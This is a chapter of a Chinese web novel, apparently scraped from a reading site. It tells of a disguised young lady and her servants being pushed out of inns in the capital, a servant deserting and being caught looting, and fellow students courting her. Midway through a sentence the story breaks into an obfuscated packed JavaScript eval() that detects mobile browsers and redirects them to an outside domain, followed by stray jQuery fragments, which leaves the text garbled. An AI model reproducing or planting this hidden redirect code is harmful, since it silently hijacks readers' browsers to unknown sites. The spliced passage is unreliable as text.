默认冷灰
24号文字
方正启体

12. 驿馆

作者:椒蛮箶本书字数:K更新时间:
    一开始,徐菀音见那驿馆伙计将自己一行领去的两间屋好生寒酸,还嘀咕抱怨,却听随后过来的驿馆老板硬梆梆解释道,自家这驿馆,本就不是给官家公子住的,长年只接那些相熟的镖队镖客。今日恰好还剩两间屋,若是明日,自家的熟客上门,说不得还要请了您几位搬走云云。


    柳妈妈是个未雨绸缪的,听驿馆老板如是说,当下便令林大再去跑跑其它驿馆,等到晚间用饭时,林大已回,道好歹找到了一所能安稳住下的,付了定银,明日便挪窝。


    徐菀音头回离得父母,独自在外应对这些起首,虽有惶恐不安处,却也觉得新鲜。先前那被赶、又流离的愤懑,慢慢平复下来。只还恨恨地想那镇国公府,盘算如何能找那宇文世子打打嘴上官司。又觉不妥。便是这般翻来覆去胡思乱想,胡乱吃几口饭,便到床榻上歪着。


    这驿馆里油灯都是埋了灯芯的,火苗子一点点,屋子里一片暗黑凄清,将个十四岁的小女郎勾出一番伤心情绪来,默默靠在那里流泪。


    柳妈妈收拾得完,过来看见,忙心疼地将她搂在怀里,道:“天可怜见,也难怪小姐伤心,即便大少爷在此,也是应付不来。


    要叫老奴说,小姐这一趟糟心事过来,又都处理得妥妥贴贴,这样的历练,倒是在家中老爷夫人跟前遇不到的机遇,好叫老奴又高看小姐一头……”


    徐菀音小姑娘心性,被柳妈妈这般又是安慰又是夸赞的,生出点得意来,便收了眼泪,道:“便是母亲在此,怕是也不知所谓呢……”


    柳妈妈忙附和道:“可不是么,夫人做小姐那会子,老奴是不知,要知道,夫人刚嫁给老爷那时,真真是个娇娇大小姐,可没有咱家小小姐如今这般的沉着能干,怪道老爷能安心让小小姐到京城来呢……”


    徐菀音想起母亲那些娇小姐做派,笑起来模仿母亲道:“柳妈妈快来,大虫子进了屋,这可如何是好……”


    若兮在一旁理着行李,见小姐高兴起来,也开心地跟着凑趣:“夫人莫怕,奴婢这就去请小姐来捉虫。”


    主仆几人嘻嘻哈哈一番,少了些愁闷。徐菀音便要柳妈妈陪自己睡了去,倒令小丫头若兮撅嘴嘀咕了一番,自去睡了不提。


    翌日,果然有走镖队伍到了驿馆,那驿馆老板便上门来硬梆梆道,尔等几人所占房间,乃是预留给新到几位镖爷的。


    柳妈妈忍着气付了房钱,便张罗着挪地方。


    哪知东西收拾得差不多时,却见那林大苦着脸进门来,道是马车不见了。


    原来那林大习惯了在田庄里,平常进了庄子便是将马索一解,牵了马进马厩,车子就地一停。到了此处驿馆也差不多如此,将马儿牵至槽边,操心好了夜草,便放心去睡了。等到要套马车离开时,才发现连马带车全不见了。


    柳妈妈心里暗骂,怎的是这么一个不靠谱的。


    那小丫头若兮却是不满林大久矣。


    那佃农林大自家替人种了些田,又领了给徐家看庄子这么一档子轻省活路,原本小日子过得自在轻快。哪知远道来了田庄的主子住下来,自在没了不说,那老婆子和小厮还真真将自己个儿当主子看了,一天尽是要求不断。徐家小公子倒是没多话说,却娇气得紧,看着是个没主意好拿捏的。林大看在眼里,也知徐家老爷对京城的讳忌,一时也不得来的,天高地远,那手也伸不了那么长。渐渐的就自我松快下来,有事让他干,应也是应的,却拖拖沓沓不愿尽心。


    多得几次,还回回都应到若兮交办的事情上,便触了小丫头的火头。这回竟把车马都弄丢了,若兮忍不下去,尖着嗓子便冲那林大骂起来。


    林大年岁也不小了,见自己被个小厮指着鼻子大骂,又看徐家田庄也不是徐家的了,后续看庄子的月钱怕是也没了着落,便把心一横,将若兮狠狠推了个趔趄,道声“老子伺候不了了”,拍屁股便离了去。


    看着已经被搬到院里等待装车的大小包袱,老少三个有些傻眼了。


    一时间,那车马喧嚣的驿馆院子里,刚刚进入的镖队人众来来往往、忙忙碌碌。却见院落一侧的马槽旁,一堆行李散乱在地,一个婆子一个小厮陪着个细瘦文秀的公子,茫然在旁,一派凄怆。


    那驿馆老板将这一切看在眼里,他虽是个言语粗鄙的,心倒是软,最终还是过来,套了一架驴车,帮三人将行李装上车,运至新找好的驿馆去。


    柳妈妈心疼地硬将徐菀音扶到驴车板上坐着,自己和若兮跟在一旁,一路走过去。


    便见京城一条穿巷小街上,驴蹄得得,一名纤秀公子如柔枝嫩叶般坐在车板上,随着碌碌车轮轻颤着身体,那楚楚可怜、却又娇娆清丽的小模样,竟令得好些路人莫名看呆了眼。


    却说那撂了挑子的林大,替自己好生想不过,又想起田庄里还有些物事是旁人不好知晓、又值得些银钱的,便打算悄悄过去取了来,也好抵了自己这几日的辛苦钱。


    到得田庄,见那庄子已被封了门,熟门熟路地找了一处矮墙翻进去,便要去翻拿庄子里还值些银钱的物事。


    还没翻得几处,却听大门被人打开来。心下惶恐,知道自己这番行事见不得人,足以被抓去见官的,忙要躲藏起来。


    进了田庄大门的,是宇文贽和他的长随友铭。


    原来宇文贽看到那田庄清单后,疑心与徐晚庭有关,便带上友铭一路寻了过来。


    待二人进了田庄大门,宇文贽那“血鸦郎将”的值事没有白担的,立刻便知有宵小在内。饶是林大快速躲藏了,还是几下便被揪了出来。


    看着林大身上背的包袱,和他鬼鬼祟祟的眼神,宇文贽心下了然,这必是田庄原有之人,趁空档偷摸回来打秋风的。倒是方便拿他审问,好得知这田庄底细。


    一问便知,原来真如宇文贽所想,这徐家田庄真个乃是徐晚庭家的,那徐公子主仆三人竟是住到昨日方被兵爷赶走。


    宇文贽眼前仿佛


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15665165|172970||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看到那文弱纤细的徐公子,红着眼儿、颤着身子,委委屈屈被赶出田庄的模样。心里像是被什么扯了一下似的,微微一动。


    又问下去,便得知徐家主仆搬去了驿馆,再又问出了他们新落脚的驿馆名。知道这恶仆行径后,冷冷瞥他一眼,便令友铭将他扭送至县衙发落不提。


    徐菀音主仆新赁的驿馆云阙栈,恰住了好些伴读学举考的生员。因皆是地方官宦子弟,在京城里逗留了些时日,已有了不少往来交际。


    云阙栈的院落里,常有三五成群的青衫学子聚在一处,或论诗书,或谈时务。有人从街市上买了新出的《京华杂录》,众人便围坐廊下传阅,时而高声品评,时而低声争辩。


    一些人在京中亦有故旧,也便走动起来。今日某位生员受某侍郎府上公子相邀赴宴,明日又有某位学政大人的侄儿来回拜,驿馆门前时见骏马香车,门房的小厮跑进跑出,递帖子、传口信,忙得不亦乐乎。


    更有那善于交际的,早与邻近茶楼的掌柜熟识,每逢休沐,便呼朋引伴,包了雅间吃茶听曲。偶有京中贵介子弟加入,谈笑间便论起科场门路、朝中趣闻,生员们或附和、或暗记,心思活络者已在盘算,除那伴读学举之外,尚有哪些路子可趟。


    云阙栈的掌柜见这些生员出手阔绰,愈发殷勤,每日命人打扫厅堂,备好热水,又特意在院中添了几盆时鲜花卉,道是“助诸位相公们文思”。


    徐菀音初入云阙栈时,从廊下经过,见他们热热闹闹,或吟诗作赋,或高谈阔论,倒也觉出几分京华风流的意味来,不禁重拾了初来京城的兴奋,忘却了些许前两日受的窝囊气。


    比起徐菀音的初来乍到,此间生员们俱是已住月余,互相之间早已熟稔,各自底细也摸得差不多了。如今乍见来了个新人,还那般姿容如玉、姣美奕奕,公子们俱是眼前一亮。


    便有人回忆起,那日在明德殿考场见这位貌美公子入场时的那番骚动。


    年轻公子们不乏那些个好事又八卦的,很快便传得驿馆内尽人皆知,道是“那令好些人心心念念了多日的花美婉娈,终是降落人间”云云。


    因是不到一日,徐菀音那屋便响起叩门声不绝。


    一会儿有东厢李公子来访,虽告知屋内尚乱,无处下脚,那李公子却仍捧了沓书在门口絮絮叨叨说了好一会话,才一步几回头地去了;


    还未得清净,西院张公子又遣小童送来新摘的桂花,话倒是说得动听:“愿与徐兄案头添香”;


    最是那轻浮的周姓少爷,竟在门外高声吟起《凤求凰》,惹得廊下众人暗笑。徐菀音哪里敢应,只闭门噤声。偏生那周少爷过得一会儿,又让随从送来一匣苏州点心,红木食盒上还系着张洒金笺,墨迹淋漓地写着“倾慕之至”四字。


    把个柳妈妈唬得心儿突突跳个不停,忙将那黄粉调得浓稠些,又对徐菀音好一阵叮嘱,道,勿要抬眸、勿要探首、勿要碎步迈脚、勿要摇胯走道……
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)